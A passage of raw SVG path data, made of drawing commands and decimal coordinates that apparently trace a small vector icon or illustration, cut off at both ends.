0-.296.062l.098.283Zm-.915.064c.112.058.26.067.408.054.153-.014.328-.054.508-.118l-.1-.283c-.161.057-.312.09-.435.102a.492.492 0 0 1-.244-.022l-.137.267Zm-.252-.33c0 .055.026.102.038.122a.573.573 0 0 0 .059.079c.039.045.097.1.156.13l.135-.269h-.002a.412.412 0 0 1-.09-.094l-.002-.003s.006.014.006.035h-.3Zm.317-.15a1.745 1.745 0 0 0-.17-.003.158.158 0 0 0-.078.026.151.151 0 0 0-.07.127h.3a.149.149 0 0 1-.118.145h-.004H6.745c.024 0 .059.001.1.004l.022-.299Zm-.12-.025a1.515 1.515 0 0 1 .008.1v-.002a.088.088 0 0 1 .014-.026.114.114 0 0 1 .098-.047l-.022.3a.187.187 0 0 0 .167-.078.24.24 0 0 0 .042-.118c.005-.056-.004-.124-.008-.164l-.298.035Zm0-.004.3-.028-.3.028Zm-.008-.1c0 .034.005.074.009.104l.298-.035a.732.732 0 0 1-.007-.07h-.3Zm.157-.203a.152.152 0 0 0-.147.11.51.51 0 0 0-.01.092h.3a.345.345 0 0 1 .001-.019v-.001.003a.139.139 0 0 1-.02.05.148.148 0 0 1-.124.065v-.3Zm.117.032-.047-.017a1.055 1.055 0 0 0-.042-.013l-.028-.002v.3a.148.148 0 0 1-.042-.006c-.001 0-.002 0 0 0a.763.763 0 0 1 .056.02l.103-.282Zm0 0-.103.282.103-.282Zm0 0-.103.282.103-.282Zm0 0-.103.282.103-.282Zm0 0-.103.282.103-.282Zm0 0-.102.282.102-.282Zm0 0-.103.282.104-.281Zm.023.009-.023-.009-.103.282.023.008.103-.281Zm.578-.044c-.284.078-.474.08-.58.043l-.1.283c.195.069.46.045.76-.037l-.08-.29Zm.424-.091c-.088.01-.278.05-.425.09l.08.29c.14-.04.313-.075.378-.082l-.033-.298Zm.493.238a.17.17 0 0 0 .046-.098.158.158 0 0 0-.063-.143.183.183 0 0 0-.07-.031.28.28 0 0 0-.044-.006.956.956 0 0 0-.156.008 3.311 3.311 0 0 0-.216.033h-.001l.027.148.028.147h.004l.013-.003a3.672 3.672 0 0 1 .18-.027.712.712 0 0 1 .102-.007h-.003c-.002-.001-.022-.005-.044-.022a.142.142 0 0 1-.055-.128c.004-.045.03-.071.033-.076l.22.205Zm-.068.192c.016-.061.032-.11.046-.145.016-.04.025-.05.022-.046l-.219-.206a.452.452 0 0 0-.081.14c-.02.051-.04.113-.058.18l.29.077Zm-.045.165-.002.02a.13.13 0 0 1-.001.008.798.798 0 0 1 .012-.054 6.37 6.37 0 0 1 .036-.138l-.29-.078a6.603 6.603 0 0 0-.054.222l-.001.02h.3Zm-.055-.134-.048-.01-.013-.002a.457.457 0 0 0-.009-.002H8.29l-.005-.001-.016-.001v.3a.15.15 0 0 1-.022-.002h-.005.002a3.783 3.783 0 0 1 .06.012l.06-.294Zm0 0-.06.294.06-.294Zm.423.086-.423-.086-.06.294.425.086.058-.294Zm.5.086c.01-.002.008 0-.022-.002a1.672 1.672 0 0 1-.103-.014 8.74 8.74 0 0 1-.374-.07l-.06.294c.161.033.291.057.387.073.048.007.09.013.124.016a.397.397 0 0 0 .101-.001l-.054-.296Zm.307.235a.235.235 0 0 0-.102-.201.273.273 0 0 0-.21-.033l.062.294c.017-.004.004.004-.018-.011a.076.076 0 0 1-.027-.03.048.048 0 0 1-.005-.02h.3Zm-.298.31a.962.962 0 0 0 .201-.115.273.273 0 0 0 .071-.086.237.237 0 0 0 .026-.11h-.3c0-.004.001-.015.007-.026.005-.011.01-.014.005-.01a.287.287 0 0 1-.041.027 1.55 1.55 0 0 1-.095.047l.126.272Zm-.236.143c.061-.047.17-.113.237-.144l-.128-.272a1.94 1.94 0 0 0-.29.177l.18.24Zm-.586.614c.124-.178.426-.492.586-.614l-.181-.239c-.186.141-.51.478-.651.681l.246.172Zm-.078.122a.565.565 0 0 1 .078-.122l-.246-.172c-.053.075-.099.137-.12.21l.288.084Zm-.005.111c0-.084.001-.099.005-.11l-.288-.085c-.018.062-.017.128-.017.195h.3Zm.091.592a2.456 2.456 0 0 1-.09-.592h-.3c0 .194.044.48.102.677l.288-.085Zm.034.117-.034-.116-.288.083.034.117.288-.084Zm-.226-.169-.059.159.281.104.06-.158-.282-.105Zm.344-.655a2.661 2.661 0 0 0-.344.656l.282.103c.078-.215.177-.405.306-.584l-.244-.175Zm.152.05a.135.135 0 0 1-.083-.11.117.117 0 0 1 .003-.042l.003-.009a2.26 2.26 0 0 1-.074.11l.242.177c.046-.063.083-.117.103-.158A.206.206 0 0 0 9 3.629a.165.165 0 0 0-.107-.137l-.108.28Zm.014-.48a.2.2 0 0 0-.06.059.5.5 0 0 0-.068.256.22.22 0 0 0 .02.075c.014.03.042.07.095.09l.107-.28a.127.127 0 0 1 .07.064c.007.016.008.027.008.027l.003-.023a.202.202 0 0 1 .012-.037c.002-.005.003-.005 0-.002a.115.115 0 0 1-.031.028L8.8 3.293Zm.537-.482a19.32 19.32 0 0 1-.49.444c-.037.031-.05.04-.047.039l.157.256a.851.851 0 0 0 .084-.066 19.645 19.645 0 0 0 .501-.454l-.205-.219Zm.49-.46-.49.46.206.219.49-.461-.206-.219Zm-.048-.014v.122h.3v-.122h-.3Zm.186-.283c-.012.003-.041.008-.068.02a.186.186 0 0 0-.094.09.251.251 0 0 0-.022.093 1.231 1.231 0 0 0-.002.08h.3l.001-.06v-.003a.112.112 0 0 1-.062.074l-.007.003a.302.302 0 0 1 .013-.003l-.059-.294Zm.173-.015a1.15 1.15 0 0 0-.17.015l.053.295a.865.865 0 0 1 .117-.01v-.3Zm.102-.078a.628.628 0 0 1-.097.076l-.001.001h-.002a.07.07 0 0 1-.007 0l.01.3a.32.32 0 0 0 .155-.043.878.878 0 0 0 .143-.111l-.2-.223Zm.115.097a.147.147 0 0 1-.052-.14.115.115 0 0 1 .012-.035c.002-.004.002-.002-.006.007a.902.902 0 0 1-.07.073l.205.219c.036-.034.07-.07.095-.1a.363.363 0 0 0 .037-.052.183.183 0 0 0 .02-.054.155.155 0 0 0-.054-.152l-.187.234Zm-.098.01a1.058 1.058 0 0 1 .139.013l-.004-.002a.14.14 0 0 1-.05-.032l.213-.212a.16.16 0 0 0-.063-.039.631.631 0 0 0-.085-.018c-.04-.005-.09-.009-.143-.01l-.007.3Zm-.412.053c.215-.05.292-.059.409-.053l.014-.3c-.158-.007-.266.01-.49.061l.067.292Zm-.688.028c.186.063.374.047.689-.028l-.07-.292c-.305.073-.421.07-.522.036l-.097.284Zm.15-.405a.763.763 0 0 0-.181.073.264.264 0 0 0-.051.04.18.18 0 0 0-.051.102.167.167 0 0 0 .053.144.221.221 0 0 0 .08.046l.097-.284c-.004-.001.01.002.027.018.022.02.047.06.04.113a.121.121 0 0 1-.032.07c-.006.007-.01.008-.006.006a.497.497 0 0 1 .103-.039l-.079-.29Zm-.101-.367a.153.153 0 0 0-.197.129c-.004.035.005.065.007.07.006.02.016.043.024.06a8.203 8.203 0 0 0 .167.31l.008.013.001.003v.001h.001l.13-.075.13-.075a.402.402 0 0 1-.01-.016 8.4 8.4 0 0 1-.155-.287l-.009-.02.003.012c0 .004.003.019 0 .038a.147.147 0 0 1-.19.124l.09-.287Zm.581.028a.917.917 0 0 1-.273.037 1.253 1.253 0 0 1-.31-.065l-.087.287c.15.045.267.073.384.078.119.005.228-.013.36-.047l-.074-.29Zm5.127 2.108c-.002-.002-.011-.029-.035-.052a.151.151 0 0 0-.254.072l-.004.023c-.002.016-.003.038-.003.055l.3.012v-.03l-.002.012a.148.148 0 0 1-.15.111.15.15 0 0 1-.13-.09l.277-.113Zm-.005.154a.306.306 0 0 0 .014-.054.187.187 0 0 0-.008-.096l-.28.105a.126.126 0 0 1-.008-.057c0-.004 0-.003-.001.002l.283.1Zm-1.91-2.155a.153.153 0 0 0-.266.12c0 .011.002.02.003.028l.297-.043c0-.002 0-.002 0 0v.009l-.003.021a.148.148 0 0 1-.249.071l.218-.206Zm-.117.277c.009 0 .032 0 .059-.008.028-.01.089-.04.105-.115.013-.058-.011-.102-.017-.112a.223.223 0 0 0-.024-.035l-.23.193-.008-.013c-.002-.004-.025-.043-.014-.097a.144.144 0 0 1 .124-.113h.01l-.005.3Zm-1.86 2.229.146.035V4.05l.001-.003.003-.011.01-.043a18.56 18.56 0 0 1 .158-.611l-.289-.08a19.58 19.58 0 0 0-.16.62l-.01.044a1.254 1.254 0 0 0-.004.011v.004l.146.035Zm-.062-.223-.074.16.273.126.074-.161-.273-.125Zm.085-.443-.001.017a1.935 1.935 0 0 1-.03.196 3.041 3.041 0 0 1-.052.223l-.002.005v.002l.273.124a.809.809 0 0 0 .042-.136 3.345 3.345 0 0 0 .07-.431h-.3Zm0-.01v.009l.3.002v-.008l-.3-.002Zm.41-.892-.002-.001-.141.264.002.001.14-.264Zm-.154.257.012.007.013.006a.146.146 0 0 0 .017.006.15.15 0 0 0 .17-.222c-.01-.017-.022-.028-.023-.028l-.212.212a.148.148 0 0 1-.043-.12.15.15 0 0 1 .134-.135c.03-.003.053.004.057.005a.15.15 0 0 1 .029.012l.006.004h.002l-.162.253Zm-.69-.666-.086.122.002.002.006.004.023.016a133.157 133.157 0 0 1 .338.238c.185.13.382.268.407.284l.162-.252-.003-.002-.009-.006a4.288 4.288 0 0 1-.122-.085 173.645 173.645 0 0 1-.517-.364l-.083-.058-.024-.016c-.002-.002-.004-.004-.006-.004l-.001-.002-.087.123Zm.118.127.026-.084-.288-.086-.025.084.287.086Zm.678.26a9.846 9.846 0 0 1-.443-.215 2.292 2.292 0 0 1-.208-.12.325.325 0 0 1-.044-.034c-.002-.002.004.003.01.016a.127.127 0 0 1 .007.094l-.287-.087a.173.173 0 0 0 .013.128.24.24 0 0 0 .042.058.58.58 0 0 0 .09.073c.064.043.15.092.238.138.176.092.376.183.457.221l.125-.273Zm.041.018-.04-.019-.126.273.024.011a.358.358 0 0 1 .008.003l.002.002.132-.27Zm-2.396.228.036-.012a.165.165 0 0 0 .08-.055.154.154 0 0 0-.037-.225.243.243 0 0 0-.062-.029c-.057-.018-.181-.043-.397-.087l-.06.294c.228.047.33.068.367.08.011.003 0 .001-.015-.01-.006-.003-.036-.024-.053-.066a.146.146 0 0 1 .022-.143c.018-.023.039-.034.042-.036a.1.1 0 0 1 .008-.004h.003-.004a.741.741 0 0 1-.011.004l.081.289Zm-.212.06.216-.062-.09-.286a17.93 17.93 0 0 1-.207.06l.08.288Zm0 0-.082-.289.083.289Zm-.258.073.258-.073-.081-.289-.26.073.083.289Zm-.41.114.409-.114-.08-.29-.41.115.08.29ZM8 2.68l-.015.058.29.075.015-.057L8 2.681Zm.257-.494a.152.152 0 0 0-.126.066.424.424 0 0 0-.031.066A5.942 5.942 0 0 0 8 2.684l.292.07a5.64 5.64 0 0 1 .092-.336l.004-.01a.083.083 0 0 1-.01.016.148.148 0 0 1-.12.062v-.3Zm.414.079a34.854 34.854 0 0 0-.396-.078l-.018-.001v.3h-.011l-.005-.001H8.24h.003a1.491 1.491 0 0 1 .104.02l.265.054.06-.294Zm-.87.382-.043.152.289.08.042-.152-.289-.08Zm.052-.18c-.004.015-.027.095-.052.176l.287.088.054-.18-.289-.083Zm.149.167a.15.15 0 0 1-.148-.127.127.127 0 0 1 0-.032.097.097 0 0 1 .01-.033l.268.134a.203.203 0 0 0 .02-.111.15.15 0 0 0-.15-.13v.299Zm-.608.479.025-.02a24.022 24.022 0 0 1 .322-.236 62.422 62.422 0 0 1 .337-.244l.002-.002-.005.004a.14.14 0 0 1-.026.011c-.003.001-.022.008-.047.008v-.3a.151.151 0 0 0-.094.032 1.91 1.91 0 0 0-.105.075 61.314 61.314 0 0 0-.563.412l-.044.034.198.226Zm-.003-.288c-.04.01-.072.02-.094.024l-.014.003h.007a.135.135 0 0 1 .054.007.149.149 0 0 1 .075.224l-.25-.166a.151.151 0 0 0 .11.233c.021.003.04 0 .044 0a3.605 3.605 0 0 0 .145-.034l-.077-.29Zm.309-.087c-.091.024-.232.065-.312.088l.083.288c.081-.023.218-.063.305-.085l-.076-.29Zm.163-.044L7.7 2.74l.078.29.164-.045-.078-.29Zm3.213 1.635.053-.173-.287-.088-.053.174.287.087Zm-.136.667c.033-.255.076-.46.137-.668l-.288-.085a4.48 4.48 0 0 0-.146.715l.297.038Zm-.13.395a.852.852 0 0 0 .088-.18c.02-.063.032-.13.042-.215l-.297-.038a.853.853 0 0 1-.03.16.561.561 0 0 1-.06.118l.257.155Zm-.088.166a1.05 1.05 0 0 1 .028-.058l.061-.11-.259-.151c-.023.039-.047.082-.067.12a.748.748 0 0 0-.05.11l.287.089Zm-.365-.298c.002.074.004.137.007.187a.883.883 0 0 0 .015.129c.003.013.01.049.035.081a.158.158 0 0 0 .205.042c.042-.024.063-.06.07-.07a.475.475 0 0 0 .027-.056l-.275-.12a.278.278 0 0 1-.007.016l-.002.004-.001.001v-.001l.005-.006a.125.125 0 0 1 .034-.028.142.142 0 0 1 .183.036c.018.024.02.045.018.036a.635.635 0 0 1-.007-.081 7.413 7.413 0 0 1-.008-.18l-.3.01Zm.081-.978a3.83 3.83 0 0 0-.081.98l.3-.014a3.53 3.53 0 0 1 .074-.902l-.293-.064Zm.628-.346a.173.173 0 0 0-.146-.097.248.248 0 0 0-.1.015.551.551 0 0 0-.15.087.635.635 0 0 0-.232.34l.293.065a.344.344 0 0 1 .125-.169.265.265 0 0 1 .065-.04c.006-.002-.003.003-.022.001a.127.127 0 0 1-.103-.072l.27-.13Zm.054.111-.054-.112-.27.132.055.112.27-.132Zm-2.97.558a.657.657 0 0 1 .032.112.113.113 0 0 1-.004.047l.293.069a.41.41 0 0 0 .009-.155.918.918 0 0 0-.045-.169l-.284.096Zm-.125-.6c.002.146.06.406.126.6l.284-.096A2.18 2.18 0 0 1 8.325 4l-.3.005Zm.192.03a.903.903 0 0 1 .041-.093c.005-.009.003-.004-.005.005a.126.126 0 0 1-.038.026.142.142 0 0 1-.175-.045.117.117 0 0 1-.016-.031c-.002-.008-.002-.01 0 0 0 .018.002.051 0 .103l.3.006c.002-.053.001-.101-.002-.138a.304.304 0 0 0-.013-.064.183.183 0 0 0-.024-.05.16.16 0 0 0-.083-.06.163.163 0 0 0-.166.046.274.274 0 0 0-.04.056 1.156 1.156 0 0 0-.058.129l.28.11Zm-.154.691c0-.152.007-.25.028-.344a1.77 1.77 0 0 1 .124-.34l-.274-.123a2.056 2.056 0 0 0-.143.398 1.838 1.838 0 0 0-.035.41h.3Zm.02.33-.002-.009a3.163 3.163 0 0 1-.018-.32h-.3c0 .088.003.172.008.242a.851.851 0 0 0 .027.177l.285-.09ZM8.03 5.04h-.007.003a.1.1 0 0 1 .055.03c.013.013.017.023.015.02a.349.349 0 0 1-.01-.033l-.289.083c.006.021.013.044.022.064.008.02.022.05.048.075.06.061.135.06.163.06v-.3Zm.063 0H8.03v.3h.063v-.3Zm.15.414v-.264h-.3v.264h.3Zm-.181.414a.167.167 0 0 0 .147-.087.254.254 0 0 0 .028-.095c.006-.05.006-.125.006-.232h-.3c0 .113 0 .17-.004.197v.006c0-.001.002-.01.008-.022a.133.133 0 0 1 .114-.066v.3Zm.161-.035a2.169 2.169 0 0 1-.034-.084l-.007-.021s.01.058-.042.106a.13.13 0 0 1-.073.034H8.06v-.3c-.012 0-.075-.001-.127.047a.175.175 0 0 0-.05.154c.003.03.014.06.023.084.01.027.023.06.039.097l.276-.117Zm.309.833s-.005-.008-.008-.02a.147.147 0 0 1 .021-.12.148.148 0 0 1 .16-.06c.02.005.033.014.034.014.006.004 0 0-.024-.022a3.993 3.993 0 0 1-.369-.427 1.107 1.107 0 0 1-.123-.197l-.277.115c.033.079.095.172.16.26a4.288 4.288 0 0 0 .401.465.5.5 0 0 0 .073.06.173.173 0 0 0 .045.02c.01.004.107.028.167-.059a.153.153 0 0 0 .021-.129.192.192 0 0 0-.014-.036l-.267.136Zm-.398-1.57c-.023.232.036.538.116.817.081.285.19.563.28.75l.27-.13a4.662 4.662 0 0 1-.261-.702c-.078-.273-.124-.533-.106-.705l-.299-.03Zm.045-.333a3.96 3.96 0 0 0-.045.333l.299.03a3.93 3.93 0 0 1 .039-.297l-.293-.066Zm4.802.704a.56.56 0 0 0 .038-.162.55.55 0 0 0-.024-.16l-.29.073a.303.303 0 0 1 .014.075.32.32 0 0 1-.021.076l.283.098Zm-.013.038.013-.037-.283-.1-.014.043.284.094Zm.002-.006-.288-.082.288.082Zm0 .003-.287-.088.286.088Zm-.141.297a.554.554 0 0 0 .089-.154c.02-.05.038-.103.05-.14l-.284-.094a1.81 1.81 0 0 1-.066.168.216.216 0 0 1-.009.015l-.004.005.224.2Zm-.37.038a.196.196 0 0 0 .05.066.164.164 0 0 0 .187.02.296.296 0 0 0 .07-.056c.018-.017.038-.04.062-.067l-.222-.201a2.337 2.337 0 0 1-.064.068c-.001.001.004-.004.014-.009a.136.136 0 0 1 .17.041l-.004-.006-.263.144Zm-.092-1.113c-.035.182-.04.4-.026.598.015.192.051.388.117.513l.265-.14a1.17 1.17 0 0 1-.083-.396 2.088 2.088 0 0 1 .022-.519l-.295-.056Zm.295-.657a.151.151 0 0 0-.136.085 1.046 1.046 0 0 0-.03.082 4.97 4.97 0 0 0-.128.49l.294.056a4.801 4.801 0 0 1 .131-.492l-.001.002a.14.14 0 0 1-.039.046.149.149 0 0 1-.09.03v-.3Zm.18.3a7.672 7.672 0 0 0-.029-.17.27.27 0 0 0-.007-.024.15.15 0 0 0-.144-.106v.3a.15.15 0 0 1-.13-.077c-.007-.011-.01-.02-.01-.022l-.001-.004a6.022 6.022 0 0 1 .025.15l.296-.047Zm.153.776a9.763 9.763 0 0 1-.153-.774l-.297.042c.028.2.112.624.16.808l.29-.076Zm-6.066-.21-.137-.467-.288.085.137.467.288-.084Zm-.485-.373a.504.504 0 0 0 .018.068l.025.06a6.597 6.597 0 0 0 .155.336l.006.012a.875.875 0 0 1 .002.005l.135-.065.135-.065-.002-.004-.006-.012a20.007 20.007 0 0 1-.15-.325 1.33 1.33 0 0 1-.023-.06c-.002-.004.002.005.003.019l-.298.031Zm.122-.177-.055.036.164.251.055-.036-.164-.25Zm1.124.957c.056 0 .11-.003.15-.007a.485.485 0 0 0 .061-.009.205.205 0 0 0 .043-.014.153.153 0 0 0 .089-.139h-.3a.147.147 0 0 1 .08-.132.114.114 0 0 1 .02-.007h-.005a1.318 1.318 0 0 1-.137.007v.3Zm-.192 0h.192v-.3h-.192v.3Zm-.523.008L7.5 5.34l-.005-.3-.525.008.004.3Zm.262-.433-.226.094a1.542 1.542 0 0 0-.112.056.193.193 0 0 0-.025.018c-.003.004-.034.03-.046.076l.29.077a.146.146 0 0 1-.042.07l-.013.01.006-.003c.012-.007.033-.016.062-.029l.22-.092-.114-.277Zm0 0 .115.277-.116-.277Zm-.001 0 .116.277-.116-.277Zm.002 0 .112.278-.112-.279Zm.015-.006.082.289-.082-.289Zm.088-.037-.104.043.114.277.104-.043-.114-.277Zm.587.094c-.03-.04-.072-.054-.082-.057a.361.361 0 0 0-.05-.014 1.164 1.164 0 0 0-.11-.015 6.355 6.355 0 0 0-.28-.02l-.016.3c.1.005.194.011.266.018a.887.887 0 0 1 .08.01l.008.003a.13.13 0 0 1-.051-.04l.235-.185Zm.104.205c0-.034-.012-.06-.012-.062a.549.549 0 0 0-.032-.058 1.258 1.258 0 0 0-.058-.083l-.239.181a.971.971 0 0 1 .053.078l-.002-.005a.123.123 0 0 1-.007-.026.145.145 0 0 1-.003-.025h.3Zm-.721-.015.08.004.015-.3-.08-.003-.015.3Zm-.428-.06c.03.022.061.03.067.03a1.419 1.419 0 0 0 .127.016c.065.006.149.01.234.014l.015-.3-.227-.012a1.149 1.149 0 0 1-.067-.007l-.01-.002.008.003a.13.13 0 0 1 .033.018l-.18.24Zm.676-.392-.616.125.06.294L7.618 5l-.06-.294Zm.235-.047-.235.047.06.294.235-.047-.06-.294Zm-.339.492c.105-.043.212-.088.294-.127.041-.02.08-.038.11-.056a.392.392 0 0 0 .074-.058.167.167 0 0 0 .035-.065l-.289-.08a.133.133 0 0 1 .039-.062 1.124 1.124 0 0 1-.095.05 7.518 7.518 0 0 1-.282.12l.114.278Zm-.712.434.137.216.253-.161-.137-.216-.253.161Zm-.058-.35c.026.061.034.1.034.27h.3c0-.181-.008-.27-.058-.387l-.276.118Zm.07-.043a.148.148 0 0 1-.11-.05l-.007-.01a1.624 1.624 0 0 1 .046.102l.278-.114a1.909 1.909 0 0 0-.067-.143.166.166 0 0 0-.046-.053.153.153 0 0 0-.093-.032v.3Zm.078.135.046-.177.013-.046.002-.004-.007.014a.145.145 0 0 1-.046.052.15.15 0 0 1-.085.026v-.3a.15.15 0 0 0-.143.102 1.97 1.97 0 0 0-.023.078l-.048.18.29.075Zm0 0-.29-.076.29.076Zm-.095.359.095-.359-.29-.076-.095.356.29.079Zm-.159.58.159-.58-.29-.08-.158.58.29.08Zm-.03-.158-.063-.023-.103.282.063.023.104-.282Zm.303.16a4.017 4.017 0 0 0-.175-.099 1.16 1.16 0 0 0-.129-.061l-.1.282.006.003a.67.67 0 0 1 .082.041c.048.026.105.058.161.092l.155-.258Zm.171.106a.13.13 0 0 1 .03.003l.006.002-.007-.003a2.981 2.981 0 0 1-.202-.108l-.152.258a3.268 3.268 0 0 0 .236.126l.03.012c.006.001.03.01.06.01v-.3ZM6.91 6.29c.01.041.016.075.02.101a.22.22 0 0 1 .002.047c-.001.007-.001-.01.018-.032a.1.1 0 0 1 .072-.034v.3a.2.2 0 0 0 .153-.067.238.238 0 0 0 .054-.131.773.773 0 0 0-.027-.253l-.292.069Zm-.05-.382c.002.112.025.282.05.385l.292-.075c-.02-.079-.04-.226-.042-.317l-.3.007Zm-.004-.186.004.186.3-.007-.004-.186-.3.007Zm4.376.815a2.195 2.195 0 0 1-.257-.672l-.295.058c.052.263.147.509.291.762l.261-.148Zm.088.395a.15.15 0 0 0 .035-.16 1.153 1.153 0 0 0-.038-.082 4.416 4.416 0 0 0-.085-.154l-.26.15a4.29 4.29 0 0 1 .098.183c.002.004.002.003 0 0a.128.128 0 0 1-.006-.056.149.149 0 0 1 .043-.092l.213.211Zm-.435.068c.028.015.055.018.06.02h.028l.043-.001a1.31 1.31 0 0 0 .23-.043.174.174 0 0 0 .068-.038l-.2-.223a.134.134 0 0 1 .03-.02l.005-.003a.99.99 0 0 1-.174.028l.008.001.014.003a.139.139 0 0 1 .034.014L10.885 7Zm-.296-.575a4.633 4.633 0 0 0 .2.461.646.646 0 0 0 .048.073.18.18 0 0 0 .04.036l.162-.252c.018.01.027.022.027.023.002.002.003.003.002.001A1.91 1.91 0 0 1 11 6.635a4.335 4.335 0 0 1-.129-.311l-.282.102Zm-.163-.739a.283.283 0 0 0-.005.08 2.29 2.29 0 0 0 .045.247c.03.13.076.283.123.413l.282-.104a3.69 3.69 0 0 1-.145-.53.516.516 0 0 1-.006-.045c0-.014.002-.007-.002.007l-.292-.068Zm.113-.266c-.026.051-.05.105-.07.15a.76.76 0 0 0-.044.12l.294.062.005-.013a3.424 3.424 0 0 1 .084-.187l-.27-.132Zm.086-.18-.087.18.27.13.087-.179-.27-.13Zm.301.261-.017-.207-.299.024.017.207.3-.024Zm.048.36a3.11 3.11 0 0 1-.048-.359l-.299.022c.009.118.03.297.054.402l.293-.065Zm1.365.096c.02.01.032.017.041.023.01.006.01.007.007.004a.099.099 0 0 1-.026-.078l.297.035a.201.201 0 0 0-.063-.173.503.503 0 0 0-.119-.077l-.137.266Zm-.334-.008.078.128.002-.001a.56.56 0 0 1 .04-.023c.026-.014.062-.033.1-.05a.577.577 0 0 1 .105-.036c.036-.007.031.001.01-.009l.135-.268a.318.318 0 0 0-.208-.016.869.869 0 0 0-.162.055 1.606 1.606 0 0 0-.174.09l-.003.001-.001.001.078.128Zm.3.233a.124.124 0 0 1 .06.014l.002.002-.004-.003a1.426 1.426 0 0 1-.223-.311l-.27.13a1.707 1.707 0 0 0 .271.384.426.426 0 0 0 .053.045c.012.009.054.039.11.039v-.3Zm.087-.106a2.689 2.689 0 0 1-.148.12c-.004.001-.003.001 0 0a.102.102 0 0 1 .012-.006c.004-.001.023-.008.049-.008v.3a.159.159 0 0 0 .077-.02.917.917 0 0 0 .078-.053c.036-.028.081-.065.128-.105l-.196-.228Zm.166.05.01.001s-.012-.003-.028-.015a.124.124 0 0 1-.045-.073.112.112 0 0 1 .004-.063c.005-.012.007-.009-.016.015-.02.021-.049.049-.091.086l.197.226c.045-.04.083-.075.113-.107a.363.363 0 0 0 .077-.112.188.188 0 0 0 .01-.106.176.176 0 0 0-.066-.104.262.262 0 0 0-.136-.047l-.029.299Zm-.198-.219a.187.187 0 0 0 .062.17.2.2 0 0 0 .079.04.41.41 0 0 0 .055.008l.033-.298-.014-.002s.019.005.039.021c.024.02.037.048.042.07.004.018.002.029.002.024l-.298-.033Zm-.084.639.055-.038-.171-.247-.055.038.171.247Zm-.749.275c.04.032.082.033.09.033a.157.157 0 0 0 .056-.008 7.509 7.509 0 0 0 .603-.3l-.17-.247a8.586 8.586 0 0 1-.517.258l-.006.002.015-.003a.143.143 0 0 1 .029-.002c.007 0 .048.001.088.033l-.188.234Zm.064-.581a23.903 23.903 0 0 0-.116.425l-.004.02v.024c0 .006 0 .017.004.03.002.01.01.042.04.07l.212-.211a.15.15 0 0 1 .043.098V6.723c0-.002 0-.008.003-.018l.023-.088.083-.294-.288-.082Zm.123-.193-.102.148.246.171.103-.148-.247-.17Zm.303.01a1.273 1.273 0 0 1-.065-.018c-.005-.002-.005-.002 0 0 .003.004.011.011.018.024l-.265.14a.254.254 0 0 0 .131.113c.039.016.082.026.11.033l.071-.291Zm.212.099a.316.316 0 0 0-.117-.071c-.034-.013-.07-.021-.095-.027l-.071.291a.645.645 0 0 1 .063.018c.016.005.014.007.008 0l.212-.211Zm.123.123-.123-.123-.212.212.122.122.213-.211Zm-1.09.074a14.144 14.144 0 0 1-.109.322l-.007.019c0 .001 0 .001 0 0l.003-.007a.132.132 0 0 1 .013-.018l.234.188c.012-.015.02-.03.02-.032l.006-.015.012-.029c.008-.022.019-.05.03-.084.024-.067.053-.157.084-.251l-.285-.093Zm.132.195a.178.178 0 0 1 .024-.064.155.155 0 0 1 .03-.038c.003-.002-.005.005-.024.01a.13.13 0 0 1-.122-.036c-.037-.038-.035-.08-.035-.08 0-.006 0-.002-.005.015l.287.089a.358.358 0 0 0 .018-.098.187.187 0 0 0-.051-.137.17.17 0 0 0-.165-.044.238.238 0 0 0-.086.043.484.484 0 0 0-.168.296l.297.044Zm-.221.11a.143.143 0 0 1 .212.014c.006.008.01.015.011.019.004.008.002.006-.001-.015a.528.528 0 0 1-.001-.13l-.297-.04c-.01.071-.008.151 0 .212a.364.364 0 0 0 .027.098.173.173 0 0 0 .072.08.157.157 0 0 0 .19-.027l-.213-.212Zm-2.194.124c.017-.016.026-.033.027-.035a.239.239 0 0 0 .02-.042l.026-.07a6.42 6.42 0 0 0 .07-.204l-.286-.093a6.17 6.17 0 0 1-.094.266l.002-.004a.122.122 0 0 1 .023-.03l.212.212Zm-.272.005a.456.456 0 0 0 .096.036.243.243 0 0 0 .06.007c.013 0 .08-.001.127-.06l-.234-.187a.14.14 0 0 1 .101-.053l.015.001a.165.165 0 0 1-.03-.012l-.135.268Zm-.188-.248a.411.411 0 0 0 .062.15c.038.05.086.078.124.097l.138-.266c-.031-.016-.027-.018-.02-.01l-.001-.003a.381.381 0 0 1-.012-.04l-.291.072Zm.043-.314c-.023.039-.054.09-.062.152-.008.06.008.119.019.162l.291-.072a.764.764 0 0 1-.012-.05v-.001c-.001.006-.003.009 0 .002a.597.597 0 0 1 .023-.043l-.26-.15Zm.372-.29a.606.606 0 0 0-.371.289l.258.152a.308.308 0 0 1 .185-.15l-.072-.292Zm.287.197a.165.165 0 0 0 .008-.102.156.156 0 0 0-.08-.102.168.168 0 0 0-.074-.018.316.316 0 0 0-.068.008l-.072.016.07.292.062-.015c.018-.003.014-.001.002-.001a.144.144 0 0 1-.132-.11c-.007-.03-.002-.055 0-.06l.002-.008.282.1Zm-.061.183a40.594 40.594 0 0 1 .055-.164l.003-.01-.276-.118a1.354 1.354 0 0 0-.025.071l-.042.127.285.094Zm-.039.117.039-.117-.285-.094-.039.116.285.095Zm.252-.1c.029.124.086.276.162.425l.268-.136a1.675 1.675 0 0 1-.138-.357l-.292.067Zm.023-.076a.093.093 0 0 1-.037-.021c-.012-.012-.016-.022-.015-.02a1.602 1.602 0 0 1 .028.112l.294-.06a.899.899 0 0 0-.048-.173.238.238 0 0 0-.054-.079.207.207 0 0 0-.087-.048l-.08.29Zm.037.07a1.763 1.763 0 0 1 .038-.116l-.006.007a.104.104 0 0 1-.073.035h-.011l.016.004.08-.289c-.02-.005-.057-.016-.098-.014a.194.194 0 0 0-.141.069.33.33 0 0 0-.055.101 2.003 2.003 0 0 0-.038.117l.288.086Zm-.07.222.07-.221-.288-.088-.067.22.286.089Zm-.038.126.039-.127-.287-.089-.039.127.287.09Zm-.051.163.05-.163-.286-.089-.05.163.286.09Zm.102-.147-.215-.044-.06.294.215.044.06-.294Zm.308.055a4.95 4.95 0 0 1-.309-.055l-.059.294c.114.023.267.052.337.06l.031-.3Zm.112.013-.11-.013-.034.298.11.013.034-.298Zm-.261-.002.11.218.267-.135-.11-.217-.267.135Zm.653-.496-.22-.106-.13.27.22.106.13-.27Zm-.05.344.097-.11-.225-.198-.097.11.225.198Zm-.104.159a.664.664 0 0 1 .103-.158l-.223-.2a.927.927 0 0 0-.163.257l.283.101Zm-.084.167c.021-.021.034-.047.036-.051a1.546 1.546 0 0 0 .048-.116l-.283-.101a1.247 1.247 0 0 1-.032.08l.001-.002a.107.107 0 0 1 .018-.022l.212.212Zm-.53-.742c0 